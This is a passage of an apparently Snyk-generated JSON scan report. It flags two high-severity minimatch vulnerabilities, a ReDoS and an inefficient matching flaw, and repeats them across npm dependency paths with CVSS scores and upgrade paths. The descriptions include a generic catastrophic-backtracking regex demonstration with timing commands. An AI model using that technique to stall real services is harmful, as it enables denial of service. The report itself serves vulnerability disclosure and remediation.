possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": 